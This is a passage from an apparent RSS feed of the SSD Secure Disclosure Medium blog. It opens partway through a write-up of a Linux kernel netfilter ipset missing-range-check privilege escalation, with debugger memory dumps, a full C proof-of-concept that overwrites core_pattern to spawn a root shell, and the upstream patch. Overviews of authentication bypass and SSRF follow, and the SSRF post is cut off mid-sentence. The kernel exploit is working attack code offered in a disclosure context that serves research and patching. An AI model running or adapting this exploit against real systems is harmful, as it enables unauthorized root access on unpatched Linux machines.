<em>0x0000000000000000</em></blockquote><blockquote><em>0xffff888105b64050</em>: <em>0xffff888100a10a80</em> <em>0x0000000000000000</em></blockquote><blockquote><em>0xffff888105b64060</em>: <em>0x0000000000000000</em> <em>0x0000000000000000</em></blockquote><blockquote><em>0xffff888105b64070</em>: <em>0x0000000000000000</em> <em>0x0000000000000000</em></blockquote><blockquote><em>0xffff888105b64080</em>: <em>0x0000000000000000</em> <em>0x0000000000000000</em></blockquote><blockquote><em>0xffff888105b64090</em>: <em>0x0000000000000000</em> <em>0x0000000000000000</em></blockquote><blockquote>pwndbg&gt; p *(struct bitmap_ip *)<em>0xffff888105b64000</em></blockquote><blockquote>$6 = {</blockquote><blockquote>members = <em>0xffff8881009c4650</em>,</blockquote><blockquote>first_ip = 0,</blockquote><blockquote>last_ip = 13,</blockquote><blockquote>elements = 14,</blockquote><blockquote>hosts = 1,</blockquote><blockquote>memsize = 8,</blockquote><blockquote>netmask = 32 ‘ ‘,</blockquote><blockquote>gc = {</blockquote><blockquote>entry = {</blockquote><blockquote>next = <em>0x0</em> &lt;fixed_percpu_data&gt;,</blockquote><blockquote>pprev = <em>0x0</em> &lt;fixed_percpu_data&gt;</blockquote><blockquote>},</blockquote><blockquote>expires = 0,</blockquote><blockquote><strong>function</strong> = <em>0x0</em> &lt;fixed_percpu_data&gt;,</blockquote><blockquote>flags = 0</blockquote><blockquote>},</blockquote><blockquote>set = <em>0xffff888100a10a80</em>,</blockquote><blockquote>extensions = <em>0xffff888105b64058</em> “”</blockquote><blockquote>}</blockquote><p>Each object is far from the other by 0x400 bytes, meanwhile the maximum number of times we are about writing is 16 bit = 0xffff, that means:</p><ul><li>We need to allocate many bitmap_ip object so we won’t overwrite any other kernel pointers</li><li>By looking at the memory layout when overwriting, we can see that the first next object will be overwritten with extension + 8, then</li><li>ext.packets is the member pointer</li><li>ext.skbmark is the combination of first_ip and last_ip<br>Note that the last field of bitmap_ip we can overwrite is memsize, so the netmask will be the beginning byte of next object, which is the least significant byte of member in our attack scenario. So we need to adjust the address of target to make it valid. The memory will looks like this</li></ul><blockquote>pwndbg&gt; x/20gx <em>0xffff888105b64000</em></blockquote><blockquote><em>0xffff888105b64000</em>: <em>0x4141414141414141</em> <em>0x4242424242424242</em></blockquote><blockquote><em>0xffff888105b64010</em>: <em>0x4343434343434343</em> <em>0x4444444400000000</em></blockquote><blockquote><em>0xffff888105b64020</em>: <em>0x4141414141414141</em> <em>0x4242424242424242</em></blockquote><blockquote><em>0xffff888105b64030</em>: <em>0x4343434343434343</em> <em>0x4444444400000000</em></blockquote><blockquote><em>0xffff888105b64040</em>: <em>0x4141414141414141</em> <em>0x4242424242424242</em></blockquote><blockquote><em>0xffff888105b64050</em>: <em>0x4343434343434343</em> <em>0x4444444400000000</em></blockquote><blockquote><em>0xffff888105b64060</em>: <em>0x4141414141414141</em> <em>0x4242424242424242</em></blockquote><blockquote><em>0xffff888105b64070</em>: <em>0x4343434343434343</em> <em>0x4444444400000000</em></blockquote><blockquote><em>0xffff888105b64080</em>: <em>0x4141414141414141</em> <em>0x4242424242424242</em></blockquote><blockquote><em>0xffff888105b64090</em>: <em>0x4343434343434343</em> <em>0x4444444400000000</em></blockquote><p>Finally, we will modify the value of core_pattern to gain root by doing:</p><ul><li>Set member pointer point to address of core_pattern</li><li>The target string will be |/proc/%P/exe, then for each bit of target string, if the value at that index is bit true, then we enable that index in bitmap range in overwritten bitmap_ip object</li></ul><p>Proof-of-Concept</p><p>Due to lack of read primitive, in this post, we assume that we have already known the kernel base address to bypass KALSR.</p><blockquote>#define _GNU_SOURCE</blockquote><blockquote>#include &lt;sched.h&gt;</blockquote><blockquote>#include &lt;inttypes.h&gt;</blockquote><blockquote>#include &lt;fcntl.h&gt;</blockquote><blockquote>#include &lt;err.h&gt;</blockquote><blockquote>#include &lt;stdio.h&gt;</blockquote><blockquote>#include &lt;stdlib.h&gt;</blockquote><blockquote>#include &lt;stdint.h&gt;</blockquote><blockquote>#include &lt;string.h&gt;</blockquote><blockquote>#include &lt;unistd.h&gt;</blockquote><blockquote>#include &lt;netinet/in.h&gt;</blockquote><blockquote>#include &lt;sys/socket.h&gt;</blockquote><blockquote>#include &lt;sys/mman.h&gt;</blockquote><blockquote>#include &lt;sys/resource.h&gt;</blockquote><blockquote>#include &lt;sys/types.h&gt;</blockquote><blockquote>#include &lt;sys/syscall.h&gt;</blockquote><blockquote>#include &lt;linux/membarrier.h&gt;</blockquote><blockquote>#include “netlink.h”</blockquote><blockquote>#define SYSCHK(x)({</blockquote><blockquote>typeof (x) __tmp = (x);</blockquote><blockquote><strong>if</strong> (__tmp == (typeof (x)) — 1) {</blockquote><blockquote>err(EXIT_FAILURE, #x);</blockquote><blockquote>}</blockquote><blockquote>__tmp;</blockquote><blockquote>})</blockquote><blockquote>char buffer[4096] = {};</blockquote><blockquote>static <strong>void</strong> pin_to_cpu(int id) {</blockquote><blockquote>cpu_set_t set;</blockquote><blockquote>CPU_ZERO( &amp; set);</blockquote><blockquote>CPU_SET(id, &amp; set);</blockquote><blockquote>SYSCHK(sched_setaffinity(getpid(), sizeof(set), &amp; set));</blockquote><blockquote>}</blockquote><blockquote>static <strong>void</strong> synchronize_rcu() {</blockquote><blockquote>SYSCHK(syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0, -1));</blockquote><blockquote>}</blockquote><blockquote><strong>void</strong> create_bitmap_set(const char * setname, u32 start, u32 <strong>end</strong>) {</blockquote><blockquote>netlink_init_msg((NFNL_SUBSYS_IPSET &lt;&lt; 8) | IPSET_CMD_CREATE, htons(NFNL_SUBSYS_IPSET), IPSET_PROTOCOL);</blockquote><blockquote>netlink_attr_put(IPSET_ATTR_SETNAME, setname, strlen(setname) + 1);</blockquote><blockquote>netlink_attr_put(IPSET_ATTR_TYPENAME, “bitmap:ip”, strlen(“bitmap:ip”) + 1);</blockquote><blockquote>u8 revision = 3;</blockquote><blockquote>netlink_attr_put(IPSET_ATTR_REVISION, &amp; revision, sizeof(u8));</blockquote><blockquote>u8 family = NFPROTO_IPV4;</blockquote><blockquote>netlink_attr_put(IPSET_ATTR_FAMILY, &amp; family, sizeof(u8));</blockquote><blockquote>struct nlattr * setdata = netlink_nest_begin(IPSET_ATTR_DATA);</blockquote><blockquote>u32 from = htonl(start);</blockquote><blockquote>struct nlattr * ip_from = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);</blockquote><blockquote>netlink_attr_append(ip_from, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &amp; from, sizeof(u32));</blockquote><blockquote>netlink_attr_nest_end(setdata, ip_from);</blockquote><blockquote>u32 to = htonl(<strong>end</strong>);</blockquote><blockquote>struct nlattr * ip_to = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP_TO);</blockquote><blockquote>netlink_attr_append(ip_to, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &amp; to, sizeof(u32));</blockquote><blockquote>netlink_attr_nest_end(setdata, ip_to);</blockquote><blockquote>u32 flags = htonl(IPSET_FLAG_WITH_COUNTERS | IPSET_FLAG_WITH_SKBINFO);</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, &amp; flags, sizeof(u32));</blockquote><blockquote>netlink_nest_end(setdata);</blockquote><blockquote>}</blockquote><blockquote>struct extension {</blockquote><blockquote>u64 skbmark;</blockquote><blockquote>u32 skbprio;</blockquote><blockquote>u16 skbqueue;</blockquote><blockquote>char * comment;</blockquote><blockquote>u64 bytes;</blockquote><blockquote>u64 packets;</blockquote><blockquote>};</blockquote><blockquote><strong>void</strong> add_extensions_to_set(struct nlattr * setdata, struct extension * params) {</blockquote><blockquote><strong>if</strong> (params) {</blockquote><blockquote><strong>if</strong> (params -&gt; skbmark) {</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_SKBMARK | NLA_F_NET_BYTEORDER, &amp; params -&gt; skbmark, sizeof(u64));</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (params -&gt; skbprio) {</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_SKBPRIO | NLA_F_NET_BYTEORDER, &amp; params -&gt; skbprio, sizeof(u32));</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (params -&gt; skbqueue) {</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_SKBQUEUE | NLA_F_NET_BYTEORDER, &amp; params -&gt; skbqueue, sizeof(u16));</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (params -&gt; comment)</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_COMMENT, params -&gt; comment, strlen(params -&gt; comment) + 1);</blockquote><blockquote><strong>if</strong> (params -&gt; bytes) {</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, &amp; params -&gt; bytes, sizeof(u64));</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (params -&gt; packets) {</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, &amp; params -&gt; packets, sizeof(u64));</blockquote><blockquote>}</blockquote><blockquote>}</blockquote><blockquote>}</blockquote><blockquote><strong>void</strong> add_ip_range_to_set(const char * name, u32 start, u32 <strong>end</strong>, u8 use_cidr, struct extension * params) {</blockquote><blockquote>netlink_init_msg((NFNL_SUBSYS_IPSET &lt;&lt; 8) | IPSET_CMD_ADD, htons(NFNL_SUBSYS_IPSET), IPSET_PROTOCOL);</blockquote><blockquote>netlink_attr_put(IPSET_ATTR_SETNAME, name, strlen(name) + 1);</blockquote><blockquote>struct nlattr * setdata = netlink_nest_begin(IPSET_ATTR_DATA);</blockquote><blockquote>u32 from = htonl(start);</blockquote><blockquote>struct nlattr * ip_from = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);</blockquote><blockquote>netlink_attr_append(ip_from, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &amp; from, sizeof(u32));</blockquote><blockquote>netlink_attr_nest_end(setdata, ip_from);</blockquote><blockquote><strong>if</strong> (<strong>end</strong>) {</blockquote><blockquote>u32 to = htonl(<strong>end</strong>);</blockquote><blockquote>struct nlattr * ip_to = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP_TO);</blockquote><blockquote>netlink_attr_append(ip_to, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &amp; to, sizeof(u32));</blockquote><blockquote>netlink_attr_nest_end(setdata, ip_to);</blockquote><blockquote>}</blockquote><blockquote><strong>if</strong> (use_cidr)</blockquote><blockquote>netlink_attr_append(setdata, IPSET_ATTR_CIDR, &amp; use_cidr, sizeof(use_cidr));</blockquote><blockquote>add_extensions_to_set(setdata, params);</blockquote><blockquote>netlink_nest_end(setdata);</blockquote><blockquote>}</blockquote><blockquote><strong>void</strong> del_bitmap_set(const char * name) {</blockquote><blockquote>netlink_init_msg((NFNL_SUBSYS_IPSET &lt;&lt; 8) | IPSET_CMD_DESTROY, htons(NFNL_SUBSYS_IPSET), IPSET_PROTOCOL);</blockquote><blockquote>netlink_attr_put(IPSET_ATTR_SETNAME, name, strlen(name) + 1);</blockquote><blockquote>}</blockquote><blockquote><strong>void</strong> del_bitmap_element(const char * name, u32 ip, struct extension * params) {</blockquote><blockquote>netlink_init_msg((NFNL_SUBSYS_IPSET &lt;&lt; 8) | IPSET_CMD_DEL, htons(NFNL_SUBSYS_IPSET), IPSET_PROTOCOL);</blockquote><blockquote>netlink_attr_put(IPSET_ATTR_SETNAME, name, strlen(name) + 1);</blockquote><blockquote>struct nlattr * setdata = netlink_nest_begin(IPSET_ATTR_DATA);</blockquote><blockquote>ip = htonl(ip);</blockquote><blockquote>struct nlattr * ipa = netlink_attr_nest_begin(setdata, IPSET_ATTR_IP);</blockquote><blockquote>netlink_attr_append(ipa, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, &amp; ip, sizeof(ip));</blockquote><blockquote>netlink_attr_nest_end(setdata, ipa);</blockquote><blockquote>add_extensions_to_set(setdata, params);</blockquote><blockquote>netlink_nest_end(setdata);</blockquote><blockquote>}</blockquote><blockquote>int main(int argc, char * argv[]) {</blockquote><blockquote><strong>if</strong> (!getuid()) {</blockquote><blockquote>pid_t pid;</blockquote><blockquote>sscanf(argv[0], “/proc/%u/exe”, &amp; pid);</blockquote><blockquote>#ifndef SYS_pidfd_getfd</blockquote><blockquote>#define SYS_pidfd_getfd 438</blockquote><blockquote>#endif</blockquote><blockquote>int pfd = syscall(SYS_pidfd_open, pid, 0);</blockquote><blockquote>int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);</blockquote><blockquote>int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);</blockquote><blockquote>int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);</blockquote><blockquote>dup2(stdinfd, 0);</blockquote><blockquote>dup2(stdoutfd, 1);</blockquote><blockquote>dup2(stderrfd, 2);</blockquote><blockquote>char * shell[] = {</blockquote><blockquote>“/bin/sh”,</blockquote><blockquote><strong>NULL</strong>,</blockquote><blockquote>};</blockquote><blockquote>execve(shell[0], shell, <strong>NULL</strong>);</blockquote><blockquote><strong>return</strong> 0;</blockquote><blockquote>}</blockquote><blockquote>int pds[2];</blockquote><blockquote>SYSCHK(pipe(pds));</blockquote><blockquote>int pid = fork();</blockquote><blockquote><strong>if</strong> (pid == 0) {</blockquote><blockquote>char * ptr = <strong>NULL</strong>;</blockquote><blockquote>u8 b;</blockquote><blockquote>read(pds[0], &amp; b, 1);</blockquote><blockquote>ptr[1] = 1;</blockquote><blockquote>}</blockquote><blockquote>SYSCHK(unshare(CLONE_NEWUSER | CLONE_NEWNET));</blockquote><blockquote>netlink_open(NETLINK_NETFILTER);</blockquote><blockquote>netlink_bind_msg(buffer);</blockquote><blockquote>pin_to_cpu(1);</blockquote><blockquote>char name[32];</blockquote><blockquote>memset(name, 0, sizeof(name));</blockquote><blockquote>u8 cidr = 16;</blockquote><blockquote>u32 end_ip = 13;</blockquote><blockquote>printf(“[+] Fill the page memory\n”);</blockquote><blockquote><strong>for</strong> (int i = 0; i &lt; <em>0x80</em>; ++i) {</blockquote><blockquote>snprintf(name, sizeof(name), “before_%d”, i);</blockquote><blockquote>create_bitmap_set(name, 0, end_ip);</blockquote><blockquote>netlink_next_msg();</blockquote><blockquote>}</blockquote><blockquote>printf(“[+] Remove the last one then reclaim by evil set\n”);</blockquote><blockquote>del_bitmap_set(name);</blockquote><blockquote>netlink_next_msg();</blockquote><blockquote>netlink_commit();</blockquote><blockquote>synchronize_rcu();</blockquote><blockquote>create_bitmap_set(“evil”, <em>0xFFFFFFFF</em> — end_ip, <em>0xFFFFFFFF</em>);</blockquote><blockquote>netlink_next_msg();</blockquote><blockquote><strong>for</strong> (int i = 0; i &lt; <em>0x80</em>; ++i) {</blockquote><blockquote>snprintf(name, sizeof(name), “after_%d”, i);</blockquote><blockquote>create_bitmap_set(name, 0, end_ip);</blockquote><blockquote>netlink_next_msg();</blockquote><blockquote>}</blockquote><blockquote>netlink_commit();</blockquote><blockquote>printf(“[+] Add some more elements\n”);</blockquote><blockquote><strong>for</strong> (int i = 0; i &lt; <em>0x80</em>–1; ++i) {</blockquote><blockquote>snprintf(name, sizeof(name), “before_%d”, i);</blockquote><blockquote>add_ip_range_to_set(name, 0, end_ip, 0, <strong>NULL</strong>);</blockquote><blockquote>netlink_next_msg();</blockquote><blockquote>}</blockquote><blockquote><strong>for</strong> (int i = 0; i &lt; <em>0x80</em>; ++i) {</blockquote><blockquote>snprintf(name, sizeof(name), “after_%d”, i);</blockquote><blockquote>add_ip_range_to_set(name, 0, end_ip, 0, <strong>NULL</strong>);</blockquote><blockquote>netlink_next_msg();</blockquote><blockquote>}</blockquote><blockquote>netlink_commit();</blockquote><blockquote>printf(“[+] Craft evil object\n”);</blockquote><blockquote>u32 first_ip = 0;</blockquote><blockquote>u32 last_ip = <em>0x100</em>;</blockquote><blockquote>uint64_t near_core_pattern_addr = <em>0xffffffff82d74620</em>;</blockquote><blockquote>struct extension ext = {</blockquote><blockquote>.bytes = 8,</blockquote><blockquote>.packets = __builtin_bswap64(near_core_pattern_addr),</blockquote><blockquote>.skbmark = ((u64) last_ip &lt;&lt; 32) | (u64) first_ip,</blockquote><blockquote>.skbprio = 1,</blockquote><blockquote>.skbqueue = <em>0x0100</em></blockquote><blockquote>};</blockquote><blockquote>add_ip_range_to_set(“evil”, <em>0xFFFFFFFF</em> — end_ip, 0, cidr, &amp; ext);</blockquote><blockquote>netlink_add_flags(NLM_F_EXCL);</blockquote><blockquote>netlink_next_msg();</blockquote><blockquote>netlink_commit();</blockquote><blockquote>memset( &amp; ext, 0, sizeof(ext));</blockquote><blockquote>ext.bytes = ~0;</blockquote><blockquote>ext.packets = ~0;</blockquote><blockquote>printf(“[+] Overwrite core_pattern\n”);</blockquote><blockquote>const char core_pattern[] = “|/proc/%P/exe”;</blockquote><blockquote>struct extension tmp = {</blockquote><blockquote>.skbprio = 1</blockquote><blockquote>};</blockquote><blockquote>int offset = <em>0xf0</em>;</blockquote><blockquote><strong>for</strong> (int i = 0; i &lt; strlen(core_pattern); ++i) {</blockquote><blockquote>netlink_clear_msg();</blockquote><blockquote><strong>for</strong> (int j = 0; j &lt; 8; ++j) {</blockquote><blockquote>u32 value = (i + offset) * 8 + j;</blockquote><blockquote><strong>if</strong> ((core_pattern[i] &gt;&gt; j) &amp; 1)</blockquote><blockquote>add_ip_range_to_set(“after_0”, value, 0, 0, &amp; ext);</blockquote><blockquote><strong>else</strong></blockquote><blockquote>del_bitmap_element(“after_0”, value, &amp; tmp);</blockquote><blockquote>netlink_next_msg();</blockquote><blockquote>}</blockquote><blockquote>netlink_commit();</blockquote><blockquote>}</blockquote><blockquote>char tmp_buf[100];</blockquote><blockquote>int core = SYSCHK(open(“/proc/sys/kernel/core_pattern”, O_RDONLY));</blockquote><blockquote>read(core, tmp_buf, sizeof(tmp_buf));</blockquote><blockquote>close(core);</blockquote><blockquote><strong>if</strong> (strncmp((char * ) tmp_buf, core_pattern, strlen(core_pattern)) == 0) {</blockquote><blockquote>write(pds[1], “”, 1);</blockquote><blockquote>} <strong>else</strong> {</blockquote><blockquote>printf(“core pattern override failed?: %s\n”, (char * ) tmp_buf);</blockquote><blockquote>}</blockquote><blockquote><strong>while</strong> (1) {}</blockquote><blockquote><strong>return</strong> 0;</blockquote><blockquote>}</blockquote><p><strong>Demo</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/0*vxV1oczvrrHyz6YA.gif" /></figure><p><strong>Patch</strong></p><p>The patch is simple, by moving all checks to the last_ip</p><blockquote>diff — git a/net/netfilter/ipset/ip_set_bitmap_ip.c b/net/netfilter/ipset/ip_set_bitmap_ip.c</blockquote><blockquote>index e4fa00abde6a2a..5988b9bb9029dc 100644</blockquote><blockquote>— — a/net/netfilter/ipset/ip_set_bitmap_ip.c</blockquote><blockquote>+++ b/net/netfilter/ipset/ip_set_bitmap_ip.c</blockquote><blockquote>@@ -163,11 +163,8 @@ bitmap_ip_uadt(struct ip_set *set, struct nlattr *tb[],</blockquote><blockquote>ret = ip_set_get_hostipaddr4(tb[IPSET_ATTR_IP_TO], &amp;ip_to);</blockquote><blockquote><strong>if</strong> (ret)</blockquote><blockquote><strong>return</strong> ret;</blockquote><blockquote>- <strong>if</strong> (ip &gt; ip_to) {</blockquote><blockquote>+ <strong>if</strong> (ip &gt; ip_to)</blockquote><blockquote>swap(ip, ip_to);</blockquote><blockquote>- <strong>if</strong> (ip &lt; map-&gt;first_ip)</blockquote><blockquote>- <strong>return</strong> -IPSET_ERR_BITMAP_RANGE;</blockquote><blockquote>- }</blockquote><blockquote>} <strong>else</strong> <strong>if</strong> (tb[IPSET_ATTR_CIDR]) {</blockquote><blockquote>u8 cidr = nla_get_u8(tb[IPSET_ATTR_CIDR]);</blockquote><blockquote>@@ -178,7 +175,7 @@ bitmap_ip_uadt(struct ip_set *set, struct nlattr *tb[],</blockquote><blockquote>ip_to = ip;</blockquote><blockquote>}</blockquote><blockquote>- <strong>if</strong> (ip_to &gt; map-&gt;last_ip)</blockquote><blockquote>+ <strong>if</strong> (ip &lt; map-&gt;first_ip || ip_to &gt; map-&gt;last_ip)</blockquote><blockquote><strong>return</strong> -IPSET_ERR_BITMAP_RANGE;</blockquote><blockquote><strong>for</strong> (; !before(ip_to, ip); ip += map-&gt;hosts) {</blockquote><p><strong>Researching Linux? Have a similar vulnerability you are looking to share? </strong><a href="https://ssd-disclosure.com/contact/"><strong>Let’s get the conversation going!</strong></a><strong><br></strong>SSD commits to the best payouts in the industry, easy and fast <a href="https://ssd-disclosure.com/submit/">submission process</a> and the option to stay completely anonymous.</p><p>Since 2007, <strong>SSD Secure Disclosure</strong> has been helping security researchers turn their findings into thriving careers.<br>Explore our <a href="http://ssd-disclosure.com/product-index"><strong>constantly expanding product scope</strong></a> — updated monthly with new products and vendors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42ce63d181be" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ssd-secure-disclosure/linux-kernel-netfilter-ipset-missing-range-check-lpe-42ce63d181be">Linux Kernel netfilter: ipset: Missing Range Check LPE</a> was originally published in <a href="https://medium.com/ssd-secure-disclosure">SSD Secure Disclosure</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Authentication: Exploiting Weak Login Mechanisms]]></title>
            <link>https://medium.com/ssd-secure-disclosure/bypassing-authentication-exploiting-weak-login-mechanisms-7fb36aa16e24?source=rss-882924548426------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fb36aa16e24</guid>
            <category><![CDATA[passwords]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[coding]]></category>
            <dc:creator><![CDATA[Oded van Kloeten]]></dc:creator>
            <pubDate>Sun, 06 Apr 2025 13:23:28 GMT</pubDate>
            <atom:updated>2025-04-06T13:23:28.121Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Authentication is the first line of defense against unauthorized access to systems and applications. However, weak login mechanisms can be exploited by attackers using various techniques such as credential stuffing, brute force attacks, session hijacking, and logic flaws. This article explores these attack vectors, real-world examples, and countermeasures to secure authentication systems.</p><h3>Common Authentication Bypass Techniques</h3><h3>1. Credential Stuffing</h3><p>Credential stuffing exploits users’ tendency to reuse passwords across multiple sites. Attackers leverage leaked username-password pairs from data breaches and attempt to log in to different services.</p><p><strong>How it Works:</strong></p><ul><li>Attackers acquire credential dumps from breaches.</li><li>Automated scripts test these credentials against multiple login portals.</li><li>Successful logins provide attackers access to accounts without triggering password reset mechanisms.</li></ul><p><strong>Example:</strong> A breach of an e-commerce platform exposes millions of email-password combinations. Attackers use automated tools to test these credentials on banking and social media platforms, gaining unauthorized access to many accounts.</p><p><strong>Code Example:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*r1GM5A0jlczmgpSxAldDBg.png" /></figure><p><strong>Mitigation:</strong></p><ul><li>Enforce multi-factor authentication (MFA).</li><li>Implement rate limiting and CAPTCHA.</li><li>Monitor login attempts for unusual activity.</li></ul><h3>2. Brute Force Attacks</h3><p>Brute force attacks involve systematically guessing passwords until the correct one is found. Attackers can use dictionary attacks (common passwords) or fully automated attempts (all possible combinations).</p><p><strong>How it Works:</strong></p><ul><li>Attackers use tools like Hydra or Burp Suite to automate login attempts.</li><li>Weak passwords or missing account lockouts make this attack feasible.</li></ul><p><strong>Example:</strong> An attacker targets a web application with a weak password policy, using a list of common passwords like “password123” and “qwerty” to gain access.</p><p><strong>Code Example:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*PVja0lkWmNyUbFfSULlqDw.png" /></figure><p><strong>Mitigation:</strong></p><ul><li>Enforce strong password policies.</li><li>Implement account lockout mechanisms.</li><li>Use login attempt monitoring and alerts.</li></ul><h3>3. Session Hijacking</h3><p>Session hijacking occurs when an attacker steals a valid user session, allowing unauthorized access without needing login credentials.</p><p><strong>How it Works:</strong></p><ul><li>Attackers steal session cookies using MITM (Man-in-the-Middle) attacks, cross-site scripting (XSS), or session fixation.</li><li>With a valid session ID, the attacker bypasses authentication and impersonates a legitimate user.</li></ul><p><strong>Example:</strong> An attacker injects malicious JavaScript into a vulnerable website. When a user logs in, their session cookie is stolen and sent to the attacker, granting full access to the account.</p><p><strong>Code Example:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*KraxSdS_C_BiHul1Lh7f8A.png" /></figure><p><strong>Real-World Case:</strong> In 2010, a vulnerability in Firesheep allowed attackers to hijack unencrypted Facebook and Twitter sessions over public Wi-Fi, enabling account takeovers.</p><p><strong>Mitigation:</strong></p><ul><li>Use secure (HttpOnly, Secure, SameSite) cookie flags.</li><li>Implement short session timeouts.</li><li>Enforce re-authentication for sensitive actions.</li></ul><h3>4. Authentication Logic Flaws</h3><p>Poorly implemented authentication logic can be exploited to bypass login mechanisms altogether.</p><p><strong>How it Works:</strong></p><ul><li>Flaws in login workflows, such as skipping authentication checks, allow unauthorized access.</li><li>Errors in password reset mechanisms (e.g., predictable reset tokens) enable attackers to take over accounts.</li></ul><p><strong>Example:</strong> A web application has an authentication bypass flaw where an attacker can change a URL parameter from /login to /dashboard and gain access without authentication.</p><p><strong>Code Example:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*5LjSbnkUpx7Ey27wFzZUnw.png" /></figure><p><strong>Real-World Case:</strong> In 2021, a vulnerability in a major financial institution allowed users to bypass login by altering the request path, exposing sensitive data.</p><p><strong>Mitigation:</strong></p><ul><li>Perform thorough security testing for authentication logic.</li><li>Validate and sanitize all user inputs.</li><li>Implement secure password reset mechanisms.</li></ul><h3>Conclusion</h3><p>Weak authentication mechanisms leave systems vulnerable to exploitation. Organizations must adopt strong security practices, including multi-factor authentication, rate limiting, session security, and rigorous security testing, to protect against these threats. By understanding and mitigating these attack vectors, businesses can significantly enhance their authentication security and reduce the risk of unauthorized access.</p><p><a href="http://ssd-disclosure.com/"><strong>SSD Secure Disclosure</strong></a><strong> </strong>helps security researchers turn their findings into a career since 2007. Check out SSD’s <a href="https://ssd-disclosure.com/product-index/">product scope</a> which is being updated monthly with new products and vendors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fb36aa16e24" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ssd-secure-disclosure/bypassing-authentication-exploiting-weak-login-mechanisms-7fb36aa16e24">Bypassing Authentication: Exploiting Weak Login Mechanisms</a> was originally published in <a href="https://medium.com/ssd-secure-disclosure">SSD Secure Disclosure</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-Side Request Forgery (SSRF): Attacking Internal Networks via External Requests]]></title>
            <link>https://medium.com/ssd-secure-disclosure/server-side-request-forgery-ssrf-attacking-internal-networks-via-external-requests-333afd84ce94?source=rss-882924548426------2</link>
            <guid isPermaLink="false">https://medium.com/p/333afd84ce94</guid>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[code]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Oded van Kloeten]]></dc:creator>
            <pubDate>Mon, 03 Mar 2025 13:39:50 GMT</pubDate>
            <atom:updated>2025-03-04T08:38:11.707Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Server-Side Request Forgery (SSRF) is a critical web security vulnerability that enables attackers to manipulate a server into making unauthorized requests. These requests can target internal resources that should be inaccessible from the public internet, bypass security measures, and potentially expose sensitive information. This article examines the mechanics of SSRF vulnerabilities, demonstrates how they can be exploited to compromise internal networks, and provides comprehensive mitigation strategies.</p><h3>Understanding SSRF</h3><p>SSRF occurs when a web application fetches resources specified by user-controlled input without proper validation or sanitization. Unlike client-side vulnerabilities that primarily affect end users, SSRF exploits the trust relationship between the server and its internal network infrastructure.</p><p><strong>The impact of successful SSRF attacks can include:</strong></p><p>- Unauthorized access to internal services and applications<br>- Exposure of sensitive cloud metadata APIs<br>- Data exfiltration from internal databases<br>- Remote code execution under certain circumstances<br>- Privilege escalation via internal authorization systems</p><h3>Common SSRF Attack Scenarios</h3><ol><li>Internal Network Reconnaissance</li></ol><p>Attackers can leverage SSRF to probe and map internal networks that would otherwise be inaccessible from the internet. By analyzing response times, status codes, and error messages, they can enumerate active hosts and services within the organization’s private network segments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*MpQUgHxfg2DVLfSEXBaRng.png" /></figure><p>2. Cloud Metadata Service Exploitation</p><p>Cloud environments typically provide metadata services accessible only from within the instance. These services contain sensitive information including access credentials, instance identifiers, and configuration data.</p><p>A classic example is accessing AWS’s instance metadata service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*ixI-6iFvq1j4f1CuYIHJDw.png" /></figure><p>3. Bypassing Firewalls and Access Controls</p><p>Internal systems frequently operate under the assumption that requests originating from within the network perimeter are trusted. This trust model can be exploited via SSRF to access restricted administrative interfaces, internal APIs, and services that would normally be protected by network segmentation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*kz1i6NhXCOuiPRdg-W0Wrg.png" /></figure><h3>Notable Real-World SSRF Exploits</h3><p><strong>Capital One Breach (2019)</strong></p><p>One of the most significant SSRF attacks in recent history was the Capital One data breach. The 